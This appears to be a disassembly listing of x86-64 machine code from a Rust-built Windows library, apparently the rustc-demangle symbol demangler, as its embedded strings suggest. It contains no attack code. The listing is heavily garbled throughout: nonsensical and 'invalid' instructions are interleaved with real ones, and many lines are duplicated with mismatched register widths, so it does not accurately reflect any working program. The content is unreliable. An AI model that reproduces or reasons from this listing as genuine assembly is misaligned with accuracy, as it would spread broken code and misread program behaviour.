movabs rbx, 0xea0ea0ea0ea0ea0f
mov rax, rcx
or rax, rdi
or eax, edi
invalid
invalid
or eax, edi
shr rax, 0x20
je 0x18003e40b
call 0x1c811581f
mov eax, ecx
invalid
or eax, 0x31c88948
ror byte [rax - 9], cl
test dword [rax - 0x77], 0x8908ebc2
mov rdx, rax
jmp 0x18003e413
or byte [rcx - 0x82dce38], cl
mov rax, rcx
enter 0xffffffffffffd231, 0x48
div edi
xor edx, edx
div rdi
mov rdx, rax
jmp 0x18003e413
invalid
or byte [rcx - 0x82dce38], cl
mov eax, ecx
xor edx, edx
div edi
mov edx, eax
test dword [rcx - 0x35feb73e], 0x48c03145
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
cmp edx, 0x1c8
retf 0x3145
cmp edx, 0x1c8
jb case.0x18003e72b.185
mov rcx, rdx
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, rcx
mul rbx
shr rdx, 5
add r8, 0x24
cmp rcx, 0x3e57
and al, 0x48
cmp ecx, 0x3e57
mov rcx, rdx
ja 0x18003e430
inc r9
lea eax, [rdx*4]
lea eax, [rax + rax*8]
add edx, 0x26
mov rcx, rdx
xor edx, edx
div cx
movzx r14d, ax
add r14, r8
add r11, 4
add ebx, 4
add ebx, 4
mov qword [rbp + 0x1e8], r11
dec qword [rbp + 0x1d0]
add byte [rax - 1], cl
invalid
mov qword [rbp + 0x200], rsi
add byte [rdx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 1], cl
invalid
add byte [rax - 1], cl
invalid
add byte [rdx], al
add byte [rax], al
add r12, 4
mov eax, 2
mov qword [rbp + 0x1f0], rax
lock add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
add byte [rax], al
lock add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rbp - 0x77]
enter 0x1aba, 0
add byte [rax], al
jmp 0x18003e11b
mov rax, qword [rbp + 0x1c0]
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
adc eax, 0x3ce01
adc eax, 0x3ce01
mov r8d, 9
mov rcx, r14
add byte [rcx + rcx*4 - 0xf], cl
mov rsi, rax
call rax
mov r13b, 1
test al, al
jne 0x18003e523
invalid
mov r8, qword [rbp + 0x1a8]
test r8, r8
test dword [rax + 0x4d000001], ebp
test eax, eax
je case.0x180066c72.294
mov rcx, r14
mov rdx, qword [rbp + 0x1b0]
mov edx, dword [rbp + 0x1b0]
mov edx, dword [rbp + 0x1b0]
mov rdi, rsi
call rsi
test al, al
jne 0x18003e523
lea rdx, [0x18007b2c9]
lea edx, [0x18007b2c9]
mov r8d, 1
mov rcx, r14
call rdi
xlatb
xlatb
test al, al
jne 0x18003e523
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1b8]
mov eax, dword [rbp + 0x1b8]
mov eax, dword [rbp + 0x1b8]
mov rdi, rsi
call rsi
test al, al
je 0x18003e53a
mov eax, r13d
mov eax, ebp
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdx, [0x18007d55b]
mov r8d, 1
add byte [rax], al
add byte [rax], al
mov rcx, r14
int1
mov rax, rdi
jmp 0x18003e098
lea rsi, [rbp + 0x1dc]
fadd qword [rcx]
add byte [rax], al
mov rdi, qword [rbp + 0x1c0]
mov edi, dword [rbp + 0x1c0]
lea rbx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
add byte [rax], al
add byte [rax], al
nop dword [rax + rax]
mov eax, dword [rbx]
mov dword [rbp + 0x1dc], eax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov rdx, rdi
mov edx, edi
call fcn.180028600
mov r13d, eax
test al, al
jne 0x18003e523
cdq
cdq
add rbx, 4
add r14, 0xfffffffffffffffc
invalid
cld
jne 0x18003e570
ret
invalid
jmp 0x18003e523
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
or ecx, ebp
add eax, dword [rax]
invalid
add byte [rdx + 0x80], bh
mov edx, 0x80
mov rcx, r9
call fcn.1800697a0
add ah, cl
add ah, cl
int3
int3
cmp eax, dword [rcx + 8]
jae 0x18003e5db
mov rdx, qword [rcx]
movzx edx, byte [rdx + rax]
inc rax
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
mov dword [rcx + 0x10], eax
lea eax, [rdx - 0x41]
cmp al, 0x1a
jae 0x18003e5e4
shl rdx, 0x20
xor eax, eax
jmp 0x18003e5ff
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x18003e5ff
add dl, 0x85
xor ecx, ecx
xor eax, eax
cmp dl, 0xe6
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
adc dword [rax], eax
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
adc dword [rax], eax
cmovb rdx, rcx
or rax, rdx
pop rbp
ret
int3
adc dword [rax], eax
cmovb rdx, rcx
cmovb edx, ecx
or rax, rdx
pop rbp
ret
int3
int3
sub rsp, 0x38
lea rbp, [rsp + 0x30]
xor byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
test rax, rax
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
xor byte [rax - 0x77], cl
invalid
ror byte [rdi], 0x84
invalid
mov r8, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r8
jae 0x18003e6d1
movzx ebx, byte [rax + rcx]
lea rdx, [rcx + 1]
mov qword [rsi + 0x10], rdx
lea r9d, [rbx - 0x61]
mov dh, 0x1c
or byte [rax - 0x73], cl
push rcx
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lahf
cmp r9b, 0x19
cmp cl, 0x19
ja 0x18003e667
movzx r9d, r9b
leave
mov r10d, 0x3bcfbbf
mov edx, 0x3bcfbbf
bt r10d, r9d
bt edx, ecx
jb case.0x18003bfa3.61
add byte [rax], al
add byte [rbx + rcx*4 + 0x4e], al
mov r9d, dword [rsi + 0x18]
inc r9d
mov dword [rsi + 0x18], r9d
sbb byte [rcx - 1], al
rol dword [rcx + rcx*4 + 0x4e], 0x18
cmp r9d, 0x1f4
jbe 0x18003e70b
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
xchg byte [rax + rax - 0x74b80000], cl
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x18003e6a1
lea rdx, [0x18007b4a8]
add eax, dword [rax]
mov r8d, 0x19
call fcn.1800217c0
xor esi, edi
inc dword [rax - 0x49]
invalid
test al, al
jne 0x18003e700
xor esi, edi
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x38b7a08b], eax
invalid
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], 1
or byte [rcx], r8b
jmp 0x18003e6fe
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x18003e6fe
lea rdx, [0x18007b4c1]
lea rdx, [0x18007b4c1]
mov r8d, 1
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1800217c0
xor dh, bh
invalid
invalid
xor dh, bh
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
and byte [rax - 0x7b], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], cl
test ecx, ecx
leave
je case.0x1800085b2.492
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
adc eax, 0x3cdb7
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.1800217c0
mov dil, 1
test al, al
xor dh, bh
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x38b7f28b], eax
jne 0x18003e700
invalid
invalid
invalid
jne 0x18003e700
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], 0
or byte [rax], al
xor edi, edi
mov eax, edi
clc
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
movzx r9d, bl
add r9d, 0xffffffbf
sar dword [rdi + 0x13f98341], 0xf
invalid
invalid
add dword [rax], eax
invalid
sar dword [rdi + 0x13f98341], 0xf
xchg dword [rax + 0x4c000001], esp
lea edx, [0x180082940]
add al, 0
lea r10, [0x180082940]
add al, 0
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18003e750
lea rdx, [0x18007b4cb]
mov r8d, 1
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add al, ch
ja 0x18003e777
call fcn.1800217c0
mov dil, 1
test al, al
invalid
jne 0x18003e700
invalid
sal byte [rbp - 0x50], 0x48
mov rcx, rsi
mov ecx, esi
int1
call fcn.18003e610
mov dil, 1
test al, al
jne 0x18003e700
cmp bl, 0x41
jne 0x18003e79c
jne 0x18003e79c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x18003e787
lea rdx, [0x18007b4eb]
mov r8d, 2
add byte [rax], al
int 3
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
add al, ch
xor r14b, dil
inc dword [rax + rax*8 - 0x867af1]
invalid
add byte [rax], al
call fcn.1800217c0
test al, al
jne 0x18003e700
mov dil, 1
mov bh, 1
mov rcx, rsi
mov dl, 1
call fcn.18003ed10
invalid
add byte [rax], al
add eax, ebp
jl 0x18003e797
invalid
add eax, 0xc0840000
add byte [rax], al
test al, al
jne 0x18003e700
test dword [rdi + rdi*8 - 1], esp
dec dword [rax - 0x75]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x18003eaf1
add byte [rax - 0x73], cl
adc eax, 0x3cd1c
int 3
invalid
lea rdx, [0x18007b4cc]
lea edx, [0x18007b4cc]
mov r8d, 1
call fcn.1800217c0
jmp case.0x18002c22f.236
add eax, dword [rax]
invalid
xor dh, bh
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x18003e6fe
lea rax, [0x18007b750]
add eax, 0x3cf7c
jl 0x18003e7a1
add eax, dword [rax]
mov rdx, qword [rax + r9*8]
mov edx, dword [rax + rcx*8]
lea rax, [0x18007b680]
add eax, dword [rax]
add byte [rsi - 0x75], cl
add al, 0xc8
mov r8, qword [rax + r9*8]
mov eax, dword [rax + rcx*8]
jmp 0x18003e6c4
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
leave
je 0x18003e822
xor dword [rax - 0x73], ecx
adc eax, 0x3c97c
invalid
lea rdx, [0x18007b174]
add byte [rcx - 0x48], al
add dword [rax], eax
mov r8d, 1
add byte [rax], al
add al, ch
mov ebp, 0x40fffe2f
invalid
invalid
inc dword [rax - 0x49]
invalid
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003e700
invalid
invalid
invalid
dec dword [rax - 0x75]
invalid
mov rax, qword [rsi]
test rax, rax
je 0x18003eab3
cdq
add al, byte [rax]
invalid
cdq
add al, byte [rax]
add byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
or byte [rax - 0x75], cl
push rsi
adc byte [rcx + rdi - 0x3e], cl
cmp rdx, r8
jae 0x18003eab3
or dword [rax - 0x7ffffffe], 0x3c
add al, byte [rax]
add byte [rax + 0xf4c103c], al
cmp byte [rax + rdx], 0x4c
invalid
test dword [rsi + 2], edi
add byte [rax], al
cmp byte [rax + rdx], 0x4c
jne 0x18003eab3
adc byte [rdi + rcx - 0x7b], cl
jle 0x18003e835
add byte [rax], al
inc rdx
ret 0x8948
mov qword [rsi + 0x10], rdx
lea rcx, [rbp - 8]
clc
adc byte [rax - 0x73], cl
clc
mov rdx, rsi
mov edx, esi
call fcn.180041240
cmp byte [rbp - 8], 0
add byte [rdi], cl
test byte [rdx], ah
add al, byte [rax]
add byte [rax], al
add byte [rax + 0xf00f87d], al
add byte [rdi], cl
test byte [rdx], ah
add al, byte [rax]
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x5d
stc
movzx ebx, byte [rbp - 7]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x18003eb03
invalid
invalid
add al, byte [rax]
add byte [rax], al
test byte [rcx + 0x48000002], ah
test ecx, ecx
add byte [rax], al
test rcx, rcx
je case.0x18002b3ae.260
test byte [rdx + 0x48000002], bh
lea edx, [0x18007b4a8]
add eax, dword [rax]
lea rdx, [0x18007b4a8]
add eax, dword [rax]
mov r8d, 0x19
jmp case.0x18002b117.264
add byte [rax], al
add cl, ch
cwde
add al, byte [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ea22
test byte [rax + 0x48000001], bl
lea edx, [0x18007b175]
lea rdx, [0x18007b175]
mov r8d, 1
add byte [rax], al
add al, ch
and al, 0x2f
invalid
add byte [rax], al
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003e700
invalid
invalid
invalid
invalid
invalid
mov rcx, qword [rsi + 0x20]
jmp 0x18003ea24
and cl, r13b
and cl, ch
je 0x18003e8af
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1800410a0
jmp case.0x18002c22f.236
sub dword [rdx], eax
add byte [rax], al
invalid
sub dword [rdx], eax
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
adc byte [rax - 0x77], r9b
int1
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.18003d370
invalid
invalid
jmp case.0x18002c22f.236
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003e8f6
lea rdx, [0x18007b4ed]
lea edx, [0x18007b4ed]
mov r8d, 4
call fcn.1800217c0
invalid
invalid
inc dword [rax - 0x49]
invalid
test al, al
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x1f57af1], eax
invalid
test dword [rdx], ecx
or bh, dh
jne 0x18003e700
or bh, dh
invalid
mov rcx, rsi
call fcn.1800413a0
mov dil, 1
mov bh, 1
mov bh, 1
add dword [rax + rax*8 - 0x2087af1], eax
invalid
test al, al
jne 0x18003e700
mov rcx, qword [rsi]
test rcx, rcx
je 0x18003ea48
test byte [rbx], dh
add dword [rax], eax
add byte [rax - 0x75], cl
adc byte [rax + 0x3b], r9b
cmp eax, dword [rsi + 8]
jae 0x18003ea48
invalid
invalid
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
cmp eax, dword [rsi + 8]
cmp eax, dword [rsi + 8]
jae 0x18003ea48
cmp byte [rcx + rax], 0x4c
jne 0x18003ea48
add dword [rax], eax
invalid
add dword [rdi + rcx - 0x7b], ecx
sbb eax, dword [rcx]
add dword [rax], eax
invalid
jne 0x18003ea48
add dword [rax], eax
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x46
mov dword [rsi + 0x10], eax
invalid
invalid
inc rax
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
clc
mov rdx, rsi
call fcn.180041240
add byte [rcx], ch
add byte [rax], al
add byte [rcx], ch
add byte [rax], al
cmp byte [rbp - 8], 0
jne 0x18003e852
test dword [rax], ecx
invalid
or bh, bh
invalid
mov rbx, qword [rbp]
mov ebx, dword [rbp]
test rbx, rbx
je 0x18003eaf1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x18003e97a
lea rdx, [0x18007b4f1]
retf
add eax, dword [rax]
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
call fcn.1800217c0
test al, al
jne 0x18003e700
invalid
xchg ch, bh
invalid
invalid
invalid
invalid
test dword [rsi + 0x48fffffd], eax
mov ecx, esi
mov rcx, rsi
mov rdx, rbx
mov edx, ebx
invalid
call fcn.18003f3e0
jmp 0x18003eae9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], cl
test ecx, ecx
leave
je 0x18003e9b0
lea rdx, [0x18007b171]
mov r8d, 1
add al, ch
sbb ebp, dword [rsi]
invalid
invalid
add al, ch
sbb ebp, dword [rsi]
invalid
mov dil, 1
test al, al
jne 0x18003e700
mov rcx, rsi
call fcn.180041300
sub dword [rax], eax
add byte [rax - 0x49], al
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x85
cmp al, 0xfd
invalid
invalid
sub dword [rax], eax
add byte [rax - 0x49], al
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x85
cmp al, 0xfd
invalid
cmp rdx, 1
jne 0x18003e9f1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003eaf1
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x3c792
lea rdx, str._____
mov r8d, 1
call fcn.1800217c0
test al, al
jne 0x18003e700
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003eaf1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x42b23
lea rdx, str._HRESULT_
mov r8d, 1
add byte [rax], al
add al, ch
mov al, 0x2d
invalid
call fcn.1800217c0
jmp 0x18003eae9
mov rcx, rsi
call fcn.180040e80
jmp case.0x18002c22f.236
invalid
xor ecx, ecx
cmp bl, 0x50
jne 0x18003eabc
test dword [rdi + 0x48000000], ecx
test ecx, ecx
test rcx, rcx
je 0x18003eade
add byte [rax - 0x73], cl
adc eax, 0x3caa8
test al, 0xca
add eax, dword [rax]
lea rdx, [0x18007b4e5]
test al, 0xca
add eax, dword [rax]
mov r8d, 6
jmp 0x18003eace
xchg byte [rax], al
add byte [rax], al
xchg byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je case.0x1800085b2.492
invalid
dec dword [rax - 0x73]
adc eax, 0x3ca3c
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
invalid
invalid
test al, al
pop rcx
sub eax, 0xc084fffe
invalid
invalid
test al, al
invalid
je case.0x1800085b2.492
jmp 0x18003e700
mov rdx, qword [rbp]
mov edx, dword [rbp]
push rbp
add byte [rax - 0x7b], cl
sal byte [rsi + rsi + 0x48], cl
mov ecx, esi
test rdx, rdx
je 0x18003eab3
mov rcx, rsi
call fcn.18003f3e0
mov dil, 1
mov bh, 1
test al, al
jne 0x18003e700
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
leave
je 0x18003eab3
lea rdx, [0x18007b4e0]
adc eax, 0x3ca40
mov r8d, 1
add al, ch
adc eax, 0x84fffe2d
test al, al
invalid
test dword [rbp - 4], ecx
invalid
call fcn.1800217c0
test al, al
jne 0x18003e700
cmp bl, 0x52
push rdx
je 0x18003eade
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18003eade
lea rdx, [0x18007b4e1]
add eax, dword [rax]
mov r8d, 4
add byte [rax], al
add al, ch
in eax, dx
sub al, 0xfe
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x3dd7af1], eax
test al, al
invalid
test dword [rdx], esp
cld
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003e700
cld
invalid
invalid
cld
invalid
mov rcx, rsi
call fcn.18003e610
mov dil, 1
test al, al
jne 0x18003e700
cmp qword [rsi], 0
je 0x18003e6fe
test byte [rbx], al
cld
invalid
dec dword [rsi + 0x18]
jmp 0x18003e6fe
test rcx, rcx
leave
je case.0x18002b3ae.260
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
adc eax, 0x3c989
mov ecx, ecx
add eax, dword [rax]
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.1800217c0
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x4247af1], eax
invalid
mov dil, 1
mov bh, 1
test al, al
jne 0x18003e700
mov qword [rsi], 0
add byte [rax], al
add byte [rax - 0x3516f7a2], cl
sti
invalid
add byte [rax], al
mov byte [rsi + 8], bl
jmp 0x18003e6fe
int3
int3
int3
push rbx
sub rsp, 0x20
invalid
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
mov rax, qword [rcx]
test rax, rax
je 0x18003ebb7
mov rdi, rcx
iretd
xor esi, esi
lea rbx, [0x18007b4c9]
leave
add eax, dword [rax]
leave
add eax, dword [rax]
xor r14d, r14d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mul byte [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
cmp ecx, dword [rdi + 8]
jae case.0x18002b117.219
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
cmp ecx, dword [rdi + 8]
cmp ecx, dword [rdi + 8]
or byte [rbx + 6], dh
jae case.0x18002b117.219
invalid
cmp byte [rax + rcx], 0x45
je 0x18003ebc2
sub r14, 1
jb 0x18003eba1
mov rcx, qword [rdi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18003eba1
mov r8d, 2
mov eax, 2
mov rdx, rbx
mov edx, ebx
call fcn.1800217c0
test al, al
jne 0x18003ebbb
invalid
and ebp, dword [rsi + rdi*8]
inc dword [rax + rax*8 - 0x76b7e58b]
sbb cl, byte [rax - 0x77]
sbb cl, byte [rax - 0x77]
mov rcx, rdi
stc
call case.0x18002ef1c.244
test al, al
jne 0x18003ebbb
invalid
add byte [rax], al
add byte [rax + rax*8 - 0x74b7f18b], al
mov eax, dword [rdi]
mov rax, qword [rdi]
mov eax, dword [rdi]
test rax, rax
jne case.0x18002ac81.223
invalid
mov ebx, 0xf63114eb
jmp 0x18003ebcb
adc al, 0x31
imul bl
adc byte [rsi + 1], bh
xor esi, esi
jmp 0x18003ebcb
mov esi, 1
jmp 0x18003ebcb
inc rcx
ror dword [rax - 0x77], 0x4f
adc byte [rcx], dh
test byte [rax - 0x77], 0xf0
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
xor esi, esi
mov rax, rsi
add rsp, 0x20
pop rbx
invalid
and byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
in al, dx
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
lea rbp, [rsp + 0x20]
mov r8, qword [rcx]
test r8, r8
test eax, eax
test eax, eax
sal byte [rsp + rcx*2 + 0x4c], 0x8b
je case.0x18003e72b.241
mov r9, qword [rcx + 8]
mov ecx, dword [rcx + 8]
or byte [r8 - 0x75], cl
or byte [rax - 0x75], cl
mov rax, qword [rcx + 0x10]
adc byte [r9 + rdi - 0x38], cl
cmp rax, r9
jae case.0x18003e72b.241
invalid
movzx edx, byte [r8 + rax]
add byte [rbx + 0x41744bfa], al
cmp edx, 0x4b
je 0x18003ec4b
cli
je 0x18003ec4b
cmp edx, 0x4c
jne case.0x18003e72b.241
lea r10, [rax + 1]
lea edx, [rax + 1]
mov qword [rcx + 0x10], r10
mov dword [rcx + 0x10], edx
push rcx
adc byte [rbp + 0x39], cl
retf 0x830f
cmp r10, r9
jae case.0x18002caa7.206
invalid
add byte [rbx - 0x80], al
cmp al, 0x10
cmp byte [r8 + r10], 0x5f
pop rdi
jne case.0x18002c22f.233
add rax, 2
mov qword [rcx + 0x10], rax
invalid
invalid
adc byte [r9], sil
xor eax, eax
ror byte [rax - 0x77], 0xc2
mov rdx, rax
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
jmp fcn.18003f3e0
invalid
add byte [rax], al
invalid
nop
add rsp, 0x28
pop rsi
invalid
pop rbp
jmp fcn.18003e610
inc rax
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x10], eax
mov dword [rcx + 0x10], eax
adc byte [r9], sil
adc byte [rcx], dh
xor edx, edx
add rsp, 0x28
add esp, 0x28
ror byte [rax - 0x7d], cl
invalid
add esp, 0x28
pop rsi
pop rbp
jmp fcn.18003ed10
xor eax, eax
mov r11d, 0x3e
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
rol byte [rcx - 0x45], 0x3e
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx + 0xf], al
movzx edx, byte [r8 + r10]
cmp dl, 0x5f
je 0x18003ecbb
invalid
mov dh, 0x14
adc byte [rax + 0x41745ffa], al
invalid
lea esi, [r10 - 0x30]
lea esi, [rdx - 0x30]
cmp sil, 0xa
jb 0x18003ec9f
lea esi, [rdx - 0x61]
cmp sil, 0x1a
sbb dh, byte [rbx + 5]
sbb dh, byte [rbx + 5]
add dl, 0xa9
jmp 0x18003ec9d
invalid
or al, 0x8d
jb 0x18003ec53
lea esi, [rdx - 0x41]
cmp sil, 0x1a
jae case.0x18002caa7.206
xor dword [rax - 0x29761c3e], eax
add dl, 0xe3
mov esi, edx
inc r10
mov qword [rcx + 0x10], r10
mul r11
jo case.0x18002caa7.206
movzx edx, sil
add rax, rdx
sal byte [rdx + 0x17], 1
sal byte [rdx + 0x17], 1
cmp r10, r9
jb 0x18003ec70
jmp case.0x18002caa7.206
adc byte [rcx - 1], cl
ret 0x894c
inc r10
inc edx
mov qword [rcx + 0x10], r10
inc rax
jne 0x18003ec31
invalid
push rcx
adc byte [rax - 1], cl
ror byte [rdi], 0x85
invalid
dec dword [rax - 0x75]
and byte [r8 - 0x7b], cl
and byte [rax - 0x7b], cl
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x18003ecf7
and byte [rax - 0x7b], cl
sal byte [rbx + riz + 0x48], 0x8d
adc eax, 0x3c7bd
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
mov rsi, rcx
mov rcx, rax
call fcn.1800217c0
mov rcx, rsi
mov edx, eax
mov al, 1
test dl, dl
jne 0x18003ed04
invalid
or eax, 0x1c748
mov qword [rcx], 0
mov byte [rcx + 8], 0
add dword [rax], eax
add byte [rax], al
add dh, al
or byte [r8], al
xor eax, eax
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
ret
int3
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rsi, rcx
mov r8, qword [rcx]
test r8, r8
je 0x18003f1ca
invalid
sahf
add al, 0
invalid
test byte [rsi + 0x4c000004], bl
mov edx, dword [rsi + 8]
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
cmp ecx, edx
cmp ecx, edx
jae case.0x18003edb6.67
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
add byte [rcx - 0x49f0be30], cl
movzx edx, byte [rax + rcx]
mov eax, edx
movzx edx, byte [r8 + rcx]
movzx edx, byte [rax + rcx]
movzx edx, byte [rax + rcx]
lea r9, [rcx + 1]
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
adc byte [rbx + r9*4 + 0x5e], r8b
mov r11d, dword [rsi + 0x18]
inc r11d
mov dword [rsi + 0x18], r11d
cmp r11d, 0x1f4
invalid
pop rsi
sbb byte [rcx - 1], al
ret
add byte [rsi + 0x36], dh
jbe 0x18003ed96
mov rcx, qword ss:[rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ed86
lea rdx, [0x18007b4a8]
mov dword [rbx], 0x19b84100
add byte [rax], al
add al, ch
sub r15b, r14b
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x469850f], eax
add byte [rax], al
add eax, dword [rax]
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
mov r8d, 0x19
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003f1ef
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x18003f1ed
movzx r11d, dl
add r11d, 0xffffffbf
cmp r11d, 0x38
ja case.0x18003edb6.67
cmp al, 1
add byte [rax], al
cmp al, 1
add byte [rax], al
lea rdi, [0x180082990]
movsxd r11, dword [rdi + r11*4]
add r11, rdi
add ebx, edi
add ebx, edi
jmp r11
cmp r9, r10
jae case.0x18003edb6.104
cmp byte [r8 + r9], 0x6e
jne case.0x18003edb6.104
invalid
xor eax, 0x2c18348
add rcx, 2
mov qword [rsi + 0x10], rcx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
